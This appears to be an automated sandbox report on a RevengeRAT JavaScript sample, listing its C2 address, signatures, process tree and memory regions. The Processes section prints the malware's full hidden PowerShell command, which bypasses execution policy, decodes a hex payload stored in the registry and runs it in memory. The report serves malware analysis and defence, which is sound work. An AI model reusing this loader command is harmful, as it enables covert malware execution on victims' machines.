Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/01/2025, 03:19

General

  • Target
    862502255d9fd9eb8f658e23f3833e7cd211514cb9f9a6a2853ae9858d3843f7.js
  • Size 253KB
  • Sample250121-dvanbstndx
  • SHA256 862502255d9fd9eb8f658e23f3833e7cd211514cb9f9a6a2853ae9858d3843f7
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • revengerat

Botnet
  • NyanCatRevenge

C2
  • 13.49.66.229:333

Mutex
  • 8a25aa6e78e44708a

Signatures

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Revengerat family
  • Blocklisted process makes network request 26 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\862502255d9fd9eb8f658e23f3833e7cd211514cb9f9a6a2853ae9858d3843f7.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1868
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\' -name 'KeyName').KeyName;$_b=$_b.replace('~','30');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3028

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_1yuy5eky.tv3.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1yuy5eky.tv3.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/3028-0-0x00007FFB5BBD3000-0x00007FFB5BBD5000-memory.dmp

        memory/3028-1-0x0000027087ED0000-0x0000027087EF2000-memory.dmp

        memory/3028-11-0x00007FFB5BBD0000-0x00007FFB5C691000-memory.dmp

        memory/3028-12-0x00007FFB5BBD0000-0x00007FFB5C691000-memory.dmp

        memory/3028-13-0x00000270A0EE0000-0x00000270A0F24000-memory.dmp

        memory/3028-14-0x00000270A0120000-0x00000270A012A000-memory.dmp

        memory/3028-15-0x00000270A0FB0000-0x00000270A1026000-memory.dmp

        memory/3028-16-0x00007FFB5BBD3000-0x00007FFB5BBD5000-memory.dmp

        memory/3028-17-0x00007FFB5BBD0000-0x00007FFB5C691000-memory.dmp

        memory/3028-18-0x00007FFB5BBD0000-0x00007FFB5C691000-memory.dmp